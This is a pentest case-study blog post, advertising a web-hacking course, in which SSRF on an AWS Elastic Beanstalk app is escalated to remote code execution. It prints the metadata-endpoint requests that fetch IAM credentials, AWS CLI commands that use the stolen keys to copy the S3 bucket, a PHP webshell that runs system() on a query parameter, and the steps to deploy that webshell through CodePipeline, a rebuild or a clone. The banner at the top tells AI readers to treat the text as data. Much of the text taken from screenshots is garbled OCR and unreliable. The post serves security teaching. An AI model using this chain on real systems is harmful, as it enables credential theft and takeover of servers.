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Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for
research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs
because this text says so.

In this blog, Sunil Yadav, our lead trainer for "Advanced Web Hacking " training class, will discuss a
case study where a Server-Side Request Forgery (SSRF) vulnerability was identified and exploited
to gain access to sensitive data such as the source code. Further, the blog discusses the potential
areas which could lead to Remote Code Execution (RCE) on the application deployed on AWS
Elastic Beanstalk with Continuous Deployment (CD) pipeline.

AWS Elastic Beanstalk

AWS Elastic Beanstalk, is a Platform as a Service (PaaS) offering from AWS for deploying and
scaling web applications developed for various environments such as Java, .NET, PHP, Node.js,
Python, Ruby and Go. It automatically handles the deployment, capacity provisioning, load
balancing, auto-scaling, and application health monitoring.

Provisioning an Environment

AWS Elastic Beanstalk supports Web Server and Worker environment provisioning.

e Web Server environment - Typically suited to run a web application or web APIs.
e Worker Environment - Suited for background jobs, long-running processes.

A new application can be configured by providing some information about the application,
environment and uploading application code in the zip or war files.
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@ https://us-east-2.console.aws.amazon.com/elasticbeanstalk/home?region=us-east-2#/new

Application name HRMS

Environment name Hrms-env

Domain _us-east-2 elasticbeanstal

Description

Base configuration

Platform @® Preconfigured platform
Platforms published and maintained by AWS Elastic Beanstalk.
MNode js v
Custom platform

Platforms created and owned by you. Leam maore

-- Choose a custom platform — ¥

Application code () Sample application

et started right away with sample code.

Existing version

Application versions that you have uploaded for HRMS.
-- Choose a version -- v
® Upload your code
Upload a source bundle from your computer or copy one from Amazon S3.

2. Upload ZIP or WAR

Figure 1: Creating an Elastic Beanstalk Environment

When a new environment is provisioned, AWS creates an S3 Storage bucket, Security Group, an
EC2 instance. It also creates a default instance profile, called aws-elasticbeanstalk-ec2-role,
which is mapped to the EC2 instance with default permissions.
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When the code is deployed from the user computer, a copy of the source code in the zip file is
placed in the S3 bucket named elasticbeanstalkregion-account-id

33 buckets

Q Search for buckets _ All &

+ Create bucket 4
Bucket name - Access @) - Reglon -
B aws-codestar-u Obijects can be public US East {Ohio)
€ awscodestar- Objects can be public US East (Ohio)

‘ | ¥ clasticheanstalk-us-east-2-65¢ Objects can be public US East (Ohig)

Bucket and objects not public US East (Ohia)

Figure 2: Amazon S3 buckets

Elastic Beanstalk doesn't turn on default encryption for the Amazon S3 bucket that it creates. This
means that by default, objects are stored unencrypted in the bucket (and are accessible only by
authorized users).

Read more: https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/AWSHowTo0.S3.html
Managed Policies for default Instance Profile - aws-elasticbeanstalk-ec2-role:
e AWSElasticBeanstalkWebTier - Grants permissions for the application to upload logs to Amazon

S3 and debugging information to AWS X-Ray.

e AWSElasticBeanstalkWorkerTier - Grants permissions for log uploads, debugging, metric
publication, and worker instance tasks, including queue management, leader election, and
periodic tasks.

e AWSElasticBeanstalkMulticontainerDocker - Grants permissions for the Amazon Elastic
Container Service to coordinate cluster tasks.

Policy “AWSElasticBeanstalkWebTier” allows limited List, Read and Write permissions on the S3
Buckets. Buckets are accessible only if bucket name starts with “elasticbeanstalk-", and recursive
access is also granted.
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Policy ARN arn:aws:iam::aws:policy/ AWSElasticBeanstalkWebTier

Description Provide the instances in your web server environment access to upload log files to Amazon S3.

Permissions Policy usage Policy versions Access Advisor
Policy summary ‘ {}JSON
e [
" : E i : J:

Figure 3: Managed Policy - “AWSElasticBeanstalkWebTier”

Read more: https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/concepts.html

Analysis

While we were continuing with our regular pentest, we came across an occurrence of Server-Side
Request Forgery (SSRF) vulnerability in the application. The vulnerability was confirmed by making
a DNS Call to an external domain and this was further verified by accessing the "localhost/server-
status" which was configured to only allow localhost to access it as shown in the Figure 4 below.

staging.xxxx-redacted-xxxx.com/view_pospdocument.php?doc=localhost/server-status

Request

_[ Raw T Params T Headers T Hex ]

EET fwiew Eospdocu.ment.pl:]:?cloc=11tt1::,-’_.-"localhost;’server—status HTTP/1.1 I |.L
Host: staging I - o

User-Agent: Mozilla/5.0 (Windows HT &.3; Wingd4; =x&€4; rv:&4.0) Gecko/20100101 Firefox/se4.0

Aocept: text/html, application/xhtml+txml , application/xml;gq=0.9 */*;qg=0_8 |‘,
@ < * » Type & search term 0 matches
Response

J Raw T Headers T Hex I HTML I Render 1

<!DOCTYFPE HIML PUBLIC "-//W3C//DTD HIML 3.2 Fimal//EN">» &
<html><head>

<title>Rpache Status</titles|

</head><hody>

<hl>Apache Serwver Status for localhost (via 12T7.0.0.1)</hl>

<dl=<dt>Server Version: Apache/2.4.37 (Amazon)</dt>

<dt>Server MPM: prefork</dc= v
@ = + = HTTR/M.1 200 OK 1 match
Ready 5,268 bytes | 251 milis

Figure 4: Confirming SSRF by accessing the restricted page
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Once SSRF was confirmed, we then moved towards confirming that the service provider is Amazon
through server fingerprinting using services such as https://ipinfo.io. Thereafter, we tried querying
AWS metadata through multiple endpoints, such as:

e 169.254.169.254/latest/dynamic/instance-identity/document
e 169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role

We retrieved the account ID and Region from the API “169.254.169.254/latest/dynamic/instance-
identity/document”:

Request

J Raw T Params T Headers T Hex ]

GET /wiew pospdocument . phpldoc=http://1lE5. 254 169 254/ /latest/dynamic/instance-identity/docunent "
HTTP/1._1
Host: staging. S Com

User—-Agent: Mozilla/5.0 (Windows NT 6.3; Winéd; x£4; rv:£4.0) Gecko/20100101 Firefox/ 4.0

Aocept: text/html, applicationSxhtml+txm] , application/xml ;gq=0_9,*/*;gq=0.8 !F
@ < | s = Type a search term 0 matches
Response

_[ Raw T Headers T Hex ] Render 1

"privateIp" : "172.31.8 Pl "
"marketplaceProductCodes" @ nall,

"devpayProductCodes" @ null,

"wersion" : "IZ0OL17-09-z20",

"instanceType" @ "t micra",

"BillingProducts" :© null,
"instanceId" : "i-04b&akl L

"acocount Id" - "E5EZ [

"availabilityZone" : "us-east-Teo",

"kernelId" @ null,

"ramdiskId" - nuall,

"architecture" : "xBE_g4",

"imageId" : "ami-DOebadi3l s

"pendingTime" : "IZ019-01-Z8TZ1:01:43Z", [)

|"reginn" : "us-east-2

(v
@ E| [IJ [EJ HTTR/1.1 200 OK 1 match

Done 613 bytes | 319 millis

Figure 5: AWS Metadata - Retrieving the Account ID and Region

We then retrieved the Access Key, Secret Access Key, and Token from the API
“169.254.169.254/1atest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role”:
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Request

| (G e | e [

GET 'y
fwiew pospdeocunent . php?doc=http: //LE5 254 165 254/latest/meta-datas/ian/security-credentials/faws—elastichea
nstalk-ecZ-role HTTP/1.1

Hozt: staging. g * W - com |'

-é) B E EJ- -"_-'-"-C.'5 3 5":’73"'-""7 term — 0 matches

Response

_[ Raw T Headers T Hex T Render ]

"Code" @ "Success", &

"LastUpdated" : "I015-01-28T11:4&:25Z",

"Type" : "AWS-HMAC",

"AocessEeyId" @ "ASTAZED

"SecreticcessHey" @ "OHhanGswTulc

"Token" :
"I - - LA A S A wEADCGw 10 0tnhA ] Bwe PoSE3Al (pEcrnbwTi0oE0 I DELAg HT e XS Y 0V enBMEEUI0fhr 8dt ATnC 3 IDvEMD s
S8y+dJ+DopHyEL1JE0Fo ErwRESmE qqzOGED x Olwrd LHH 2 =k ol
I1Cpwe fulHO4mZeDoJiZHTAZISS3pgLuFEAdER 2t avDhpHS
FEOvPRgELmiwEHASr JEZ0aclROF0 /v J2Nwx 0 jg0r PY+5 042D 0isBobHEKent WY Situi JyweVEEHTr0sWE 3 ISHEEaGENewI 1O 2ol gS Sy
cwqrDFEgq/aPyves famEquGpLYESG
cOEBAd8InsgnlBnMAT £ fdIh /ESSM o cli o i oiie i, oLl o

meceT4gll=",
"Expiration" : "IZ012-01-Z8T18:Z0:322" v

@ EJ [ZJ EJ HTTPI1.1 200 OK 1 mateh

Ready 1,035 bytes | 237 millis

Figure 6: AWS Metadata - Retrieving the Access Key ID, Secret Access Key, and Token

Note: *The IAM security credential of *'aws-elasticbeanstalk-ec2-role” indicates that the
application is deployed on Elastic Beanstalk.

We further configured AWS Command Line Interface(CLI), as shown in Figure 7:

:~$ export AWS ACCESS KEY ID=ASIA2EG3F
:~$ export AWS SECRET ACCESS KEY=0HhanGsvTi

:~$ export AWS DEFAULT REGION=us-east-2

:~$ export AWS SESSION TOKEN=FQc 1117111117/ I—
DxObwdlHX2z8XM2mOBP7vPG2GEemdvhHSNOSBSyZa8zoy7fl1AvZindT2gul+OnGgeSlaMcH4YeIlCpvé
TrPWkk8fSDSFZQvPRGELMIwEHdSrJB30aolRQF0 /17w - — ——— - .
RNcG+ = Pl Siiiateiiininl N h TXRVS jpHUVU2 9 fy! E

Figure 7: Configuring AWS Command Line Interface

The output of “aws sts get-caller-identity” command indicated that the token was working fine, as
shown in Figure 8:

[image: image]

Figure 8: AWS CLI Output : get-caller-identity
So, so far, so good. Pretty standard SSRF exploit, right? This is where it got interesting.....
Let’s explore further possibilities

Initially, we tried running multiple commands using AWS CLI to retrieve information from the AWS
instance. However, access to most of the commands were denied due to the security policy in
place, as shown in Figure 9 below:


https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html
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Figure 9: Access denied on ListBuckets operation

We also know that the managed policy “AWSElasticBeanstalkWebTier” only allows to access S3
buckets whose name start with “elasticbeanstalk”:

So, in order to access the S3 bucket, we needed to know the bucket name. Elastic Beanstalk
creates an Amazon S3 bucket named elasticbeanstalk-region-account-id.

We found out the bucket name using the information retrieved earlier, as shown in Figure 4.
e Region: us-east-2

e Account ID: B9XXXXXXXX79

Now, the bucket name is “elasticbeanstalk-us-east-2-6 9XXXXXXXX79".

We listed bucket resources for bucket “elasticbeanstalk-us-east-2-69XXXXXXXX79" in a recursive
manner using AWS CLI:

aws s3 Is s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/

kali:~% aws 353 1s =3://elasticbeanstalk-us-east-2-69 W/ --recursive
2019-01-21 18:41:05 0 .elasticbeanstalk
2019-01-23 18:25:13 175 2019021EpF-index.zip
2019=-01-28 10:36:16 3619 2018021EpF-insurance-portal=-2230.zip
2019-01-23 19:40:49 175 201%023r3P-2019021EpF-index.zip
20129-01-28 09:44:08 23 2019028fVc-index.php
2019-01-28 10:39:38 335 2019028gtB-InsuranceBroking-stag-v2.0024.zip
2019-01-28 10:15:01 437 201902BgrP-InsuranceBroking-stag-v2.0023.z2ip

2019-01-28
2019-01-24
2019-01-28

139 2019028ydk-InsuranceBroking-stag.zip

22 resources/_runtime/_ embedded extensions/Insurance Broking/2d7a0547a865ckO4ccacBd3decccteds
22 rescurces/_runtime/ embedded extensions/Insurance Broking/<49adzb8dl5b8137alZ9263741d0Igbca

22 resources/ runtime/ embedded extensions/Insurance Broking/793ee542eac8dd0dff253c6b25038905

2019-01-21 22 resources/_runtime/ embedded exrensions B5alacf2ledhaf
2019-01-22 453 resources/_runtime/ embedded ex

2019-01-23 22 resources/_ runtime/ embedded ex

2019-01-28 1 22 rescurces/environmentcs/¢ ©

2019-01-28
2019-01-28
2019-01-28
2019-01-28

22 resources/environments/e
22 resources/environments/e
335 resouzces/environments/s
152 resources/environments/e

(LT

2019-01-28 107 rescurces/environments/e-.
2019-01-28 115 resources/environments/e-3 Wi==-/ runtime/versions/manifest_1548670504925
2019-01-28 115 resources/environments/e-2 /_zuntime/versions/manifest 1548671981474

Figure 10: Listing S3 Bucket for Elastic Beanstalk
We got access to the source code by downloading S3 resources recursively as shown in Figure 11.

aws s3 cp s3://elasticbeanstalk-us-east-2-69XXXXXXXX79/ /home/foobar/awsdata -recursive

awz =33 cp =3://elasticbeanztalk-us-east-2-65 / /home/ Jawsdata —-recursive

download: =3://elasticbeanstalk—u=-—east-7—& 201507 TEpF—index. z1ip to awsdata/Z01I%021EpF-index.zip
download: s3://elasticbeanstalk-us-east-2-6! /2019028fVec-index.php to awsdata/2019028fVc-index.php
download: =23://elasticbeanstalk-us-east-2-67 /.elasticbeanstalk to awsdata/.elastickeanstalk
download: =23://elastickbeanstalk-us-east-2-6 S2019023r3P-2018021EpF-index.zip to awsdata,/2018023r3
P-2013021EpF-index.zip

download: =3://elasticbeanstalk-us-east-2-648 {2019021EpF-insurance-portal-2230.zip to awsdata/2019
021EpF-insurance-partal-2230.zip

download: s3://elasticbeanstalk-us-east-2-€ i/resources/_runtime/ embedded extensions/Insurance Br
oking/49ad2b8d15bE137a . to awsdata/resources/_runtime/ embedded extenzions/Insurance Broking
/48ad2b8d15b8137al29269741d0f8beca

Figure 11: Recursively copy all S3 Bucket Data

Pivoting from SSRF to RCE

Now that we had permissions to add an object to an S3 bucket, we uploaded a PHP file
(webshell101.php inside the zip file) through AWS CLI in the S3 bucket to explore the possibilities
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of remote code execution, but it didn't work as updated source code was not deployed on the EC2
instance, as shown in Figure 12 and Figure 13:

[image: image]
Figure 12: Uploading a webshell through AWS CLI in the S3 bucket

- : 7 ¢ f
)( ‘@' O staging.t comfwebshell101.php

Not Found

The requested URL /webshell101. php was not found on this server.

Figure 13: 404 Error page for Web Shell in the current environment

We took this to our lab to explore on some potential exploitation scenarios where this issue could
lead us to an RCE. Potential scenarios were:

e Using CI/CD AWS CodePipeline

¢ Rebuilding the existing environment

¢ Cloning from an existing environment

e Creating a new environment with S3 bucket URL

Using CI/CD AWS CodePipeline: AWS CodePipeline is a CI/CD service which builds, tests and
deploys code every time there is a change in code (based on the policy). The Pipeline supports

GitHub, Amazon S3 and AWS CodeCommit as source provider and multiple deployment providers
including Elastic Beanstalk. The AWS official blog on how this works can be found here:

Amazon S3

a. If you plan to use Amazon $3 as your source, you will retrieve the sample code from the
AWS GitHub repository, save it to your computer, and upload it to an Amazon S3 bucket.

e Visit our GitHub repository containing the sample code at

https://github.com/awslabs/aws-codepipeline-s3-aws-codedeploy_linux

s (Click the dist folder,

The software release, in case of our application, is automated using AWS Pipeline, S3 bucket as a
source repository and Elastic Beanstalk as a deployment provider.

Let's first create a pipeline, as seen in Figure 14:


https://notsosecure.com/sites/all/assets/us/code-upload.jpg
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Choose pipeline

Settings Choose pipeline settings

Pipeline settings

Pipeline name

InsuranceBrokingAppPipeline

Service role

© MNew service role Existing service role
Role name
AWSCodePipelineServiceRol ast-1-Insurar ingAppPipelin

Allow AWS CodePipeline to create a service role so it can be used with this new
pipeline

Artifact store

© Default location Custom location

Privacy Policy  Terms

Figure 14: Pipeline settings

Select S3 bucket as source provider, S3 bucket name and enter the object key, as shown in Figure
15:

Add source stage

Source

Source provider

This is whare

loy stage Amazon 53 <

Amazon 53

Bucket

elasticheanstalk-us-east-1-6962 v

53 object key

3 *-InsuranceBroking-stag-v2.0024.zip

Change detection options
node to automatical

© Amazon CloudWatch Events (recommended) AWS CodePipeline

Cancel Previous m

Figure 15: Add source stage

Configure a build provider or skip build stage as shown in Figure 16:



< ) @ https://console.aws.amazon.com/codesuite/codepipeling/pipeline/new?region=us-east-1

Skip build stage X

Your pipeline will not include a build stage. Are you sure you want to skip this stage?

Figure 16: Skip build stage

Add a deploy provider as Amazon Elastic Beanstalk and select an application created with Elastic
Beanstalk, as shown in Figure 17:

OO dopPToy Jtayge

@ You cannot skip this stage

Pipelines must have at least two stages. Your second stage must be either a build or deployment stage.
Id stage Choose a provider for either the build stage or deployment stage.

Deploy

Deploy provider

AWS Elastic Beanstalk v
AWS Elastic Beanstalk
Application name

Insurance Broking App - CodePipeline v
Environment name

InsuranceBrokingAppCodepipeline-eny v

cancel m

Figure 17: Add deploy provider

A new pipeline is created as shown below in Figure 18:




Developer Tools ¥ © Success
Congratulations! The pipeline InsuranceBrokingAppPipeline has been created.

CodePipeline
@ Introducing the new AWS CodePipeline console experience!
P Source s CodeCommit We have updated the AWS CodePipeline console experience to make it easier to use. Return to the old experience or permanently dismiss this message.
» Build = CodaBuild
Developer Tools CodePipeline Pipelines InsuranceBrokingAppPipeline
» Deploy = CodeDeploy
o Bl InsuranceBrokingAppPipeline [ view histary ]
ipeline » CodePipeline

Getting started

Pipeline
History
Source @
Amazon 53 2
EJ Feedback 2 Inprogress - Just now
2 Return t o

l Disable transition

© Deploy

Deploy @

Privacy Policy  Terms

Figure 18: New Pipeline created successfully

Now, it's time to upload a new file (webshell) in the S3 bucket to execute system level commands
as show in Figure 19:

[ webshell 1001 php £3 |

1 <html>

2 =l<body>

z “l<form method="get" name="<?php echo basename ($ SERVER['PFHP SELF']): 2>">
4 <input type="text" name="gall" id="gcall" size="H0">

5 <input type="submit" value="go">

& -</form>

7 [H<pre>

<hl> My Webshell 1001 </h2>

11  [E<2php

12 if(§ GET['call'])
13 [Hi

14 system($ GET['call']):
16 - 7>

L7 -</pre>

1£ -</body>

19 </ /html>

Figure 19: PHP webshell

Add the file in the object configured in the source provider as shown in Figure 20:
[image: image]

Figure 20: Add webshell in the object

Upload an archive file to S3 bucket using the AWS CLI command, as shown in Figure 21:


https://notsosecure.com/sites/all/assets/us/add-file.jpg

Saws =3 cp 2019028gtB-InsuranceBroking-stag-v2.0024.zip =3://elasticheanstalk-us-east-1-696L0

"
upload: ./2013028gtB-InsuranceBroking-stag-v2.0024.zip to s3://elasticbeanstalk-us-east-1-6962
G '9/2019028gtB-InsuranceBroking—-stag-v2.0024. zip

4
s

Figure 21: Cope webshell in S3 bucket

aws s3 cp 2019028gtB-InsuranceBroking-stag-v2.0024.zip s3://elasticbeanstalk-us-east-1-
696 XXXXXXXXX/

The moment the new file is updated, CodePipeline immediately starts the build process and if
everything is OK, it will deploy the code on the Elastic Beanstalk environment, as shown in Figure
22:

Developer Tools %

Developer Tools CodePipeline Pipelines
CodePipeline

InsuranceBrokingAppPipeline [eaie | [ viewhistory | [N
» Source s C
» Deploy = C Deplo
w Pipeline » ePipeline Source @

Getting started

Succeeded - Just Now
Pipelines e

Source: Amazon 53 version id: ¢@_SwDopDOGSpMOx208ubbrgsgwSMSas

=z o 0 o - Deploy | View current revisions

Source: Amazon 53 version id: <D_SwDopDOG5pMOx4OBubbrgsgwSMSas

Figure 22: Pipeline Triggered

Once the pipeline is completed, we can then access the web shell and execute arbitrary
commands to the system, as shown in Figure 23.



staging isiiamcom/ X

&)= G @& | ® stagingssy

B ~@me¢ OTEBy =

Il =15+ -al+

is-al 11 Jegeal

My Webshell 1001

total 120

drwxr-xr-x 25 root root 4096 Jan 31 17:07 .
drwxr-xr-x 25 root root 4086 Jan 31 17:07 ..

TOOT root 0 Jan 31 17:06 .autcfack

-ru-x -
—TW S IOOT rOoST 0 Jan 17 23:50 .aucorelabel

dr-Xr-xr-x rooT root 4096 Nov 16 23:06 bin

dr-xXr-Xr-x rooT root 4096 Jan 17 23:50 boot

AXWXr-XI—Xx rooT root 4006 Feb 28 2014 cgroup

drwxr-xr-x 16 roet root 2740 Jan 31 17:07 dev

drwxr-xr-x 93 root root 4006 Jan 31 17:07 etc

druxr-xr-x root root 4096 Jan 31 17:07 home

=W P rOoot root §3 Jan 31 17:05 launch control?AWSA KeyId=AKIA SExpires=154899755085 ignaturessTuiitli il 2 Sa s 2 3D
dr-xr-xr-x root root 4096 Jan 17 23:81 lib

dr-xr-xr-x 10 root root 12288 Jan 17 23:E1 libé4

drwxr-xr-x root 4096 Nov 16 23:05 local

drux====== Toot root 16384 Hov 16 23:05 lost+found

drWXr-xr-x root root 4096 Jan € 2012 media

root root 4096 Jan 6 2012 mnc
root root 4096 Jan 12 07:11 opt
Yoot root 0 Jan 31 17:06 proc

Arwxr-xr-x
drwxr-xr-x
dr-xXr-xr-x

w

dr-xXr-x--—- root root 4096 Jam 17 23:51 root
ArUXE-Xr-x rooT root 4096 Jan 17 23:50 zun
dr-Xr-xr-x root root 12288 Jan 17 23:50 sbin

root root 4096 Jan € 2012 selinux
root root 4096 Jan € 2012 srv
roet root 0 Jan 31 17:20 sys
ArwAIWKIWE Toot root 4096 Jan 31 17:19 tmp
drwxr-xI-x t root 4096 NHov 16 23:06 uar
drwxr=xr=x 23 root root 40986 Jan 31 17:07 var

-
G W R R R L B R R RN D G B R R
H
o
o
et

dr-xr-xr-x

-
w
H
o
o
o

Figure 23: Running system level commands

And here we got a successful RCE!

**Rebuilding the existing environment: **Rebuilding an environment terminates all of its
resources, remove them and create new resources. So in this scenario, it will deploy the latest
available source code from the S3 bucket. The latest source code contains the web shell which gets
deployed, as shown in Figure 24.

All Applications > { Environment ID: &-2mg 2 alasticheanstalk.com ) i Actions ~ |
Load Configuration
Dashboard Save Configuration
Events

) Swap Environment URLs
Configuration

Logs Severity TRACE v 2018-12-11 02:28:00 UTC+0530 (I ) |

Clone Environment

Health
Time Type Details | Restart App Server(s)

Monitorin FYT— |
g 2019-01-29 02:24:17 UTC+0530 INFO Envi health has itioned from Pending to Ok Initialization completed 27 secor | kunamha—

Terminate Environment

Alarms
2019-01-29 02:23:32 UTC+0530 INFO Successfully rebuilt environment: InsuranceBroking-env
Managed Updates
2019-01-29 02:23:32 UTC+0530 INFO Application available at InsuranceBroking-stag slasticbeanstalk.com,
Events
2079-01-29 02:23.18 UTC+0330 INFO Added instance [i-05b ] to your environment.
Tags
2019-01-29 02:23:10 UTC+0530 INFO Waiting for EC2 instances to launch. This may take a few minutes.
INF
2019-01-20 02-2218 UTC+0530 INFO anronment health has transitiened to Pending. Initialization in progress (running for 27 seconds). There are no
instances.
20100190 N2-72N8 LTELNEIN INFO Created EIP; 18.218
hittps:/fus-east-2.console.aws.amazon.com/elasticheanstalk/homeTregion= us-east-2 | -

Figure 24: Rebuilding the existing environment

Once the rebuilding process is successfully completed, we can access our webshell and run system
level commands on the EC2 instance, as shown in figure 25:



view-source:http://staging. .com/webshell101.php?cmd=ls /

bin
boot
cgroup
dew

etc
home
launch control?X-Emz-Algorithm=AWS4-HMAC-SHAZ56&X-Amz-Date=20150128T2101092&X-Amz-5ig
1ib
libe4
local
lost+found
media
mnt

opt
proc
root
run
shin
selinux
Srv

sVs

tmp

usr

var

Figure 25: Running system level commands from webshell101.php

Cloning from the existing environment: If the application owner clones the environment, it
again takes code from the S3 bucket which will deploy the application with a web shell. Cloning
environment process is shown in Figure 26:

Clone Environment ©

You can launch a new environment based on an existing environment’s configuration settings while
optionally choosing a different platform version for the new environment.

Original Environment

Environment name roking-env
Environment URL s-east-2.elasticbeanstalk.com
Description | 2 Broking

Platform PHP 7.2 running on 64bit Amazon Linux/2.8.6

New Environment

Environment name Broking-env-1

Environment URL broking-env-1 A elasticheanstalk.com "

Figure 26: Cloning from an existing Environment



Creating a new environment: While creating a new environment, AWS provides two options to
deploy code, one for uploading an archive file directly and another to select an existing archive file
from the S3 bucket. By selecting the S3 bucket option and providing an S3 bucket URL, the latest

source code will be used for deployment. The latest source code contains the web shell which gets
deployed.

< C & hitps//us-east-2.console.aws.amazon.com/elasticbeanstalk/homeregion=us-east-2#/newEnvironment?applicationMame=DynamicWel

Upload your code

Upload a source bundle from your computer or copy one from Amazon 53

Source code origin Local file

SN Choose File | Ho file chosen

® Public S3 URL

1B-InsuranceBroking-stag-v2.0024 zip

Version label 2079028

-InsuranceBroking-stag-v2.002

References:

e https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/concepts.html

e https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/iam-instanceprofi...

e https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/AWSHowTo0.S3.html

e https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html

e https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb

e https://ipinfo.io

Our Advanced Web Hacking class at Black Hat USA contains this and many more real-world
examples. Registration is now open.
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Markdown copy.
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